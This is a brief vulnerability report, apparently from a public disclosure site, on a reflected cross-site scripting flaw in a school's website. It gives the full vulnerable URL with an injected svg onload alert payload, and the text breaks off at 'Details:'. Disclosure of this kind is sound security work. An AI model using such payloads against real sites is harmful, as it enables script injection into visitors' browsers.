williamamorrisis61.org XSS vulnerability

Vulnerable URL: http://www.williamamorrisis61.org/apps/news/shownews.jsp?RECID=462665=0=News%20Post%202017-2018%20MORRIS%20IS61%20SCHOOL%20WIDE%20CALENDAR%20CLICK%20HERE%20-%20William%20A.%20Morris%20School%20Intermediate%20School%2061%3C/title%3E%3Csvg/onload=alert/XSSPOSED/%3E Details:...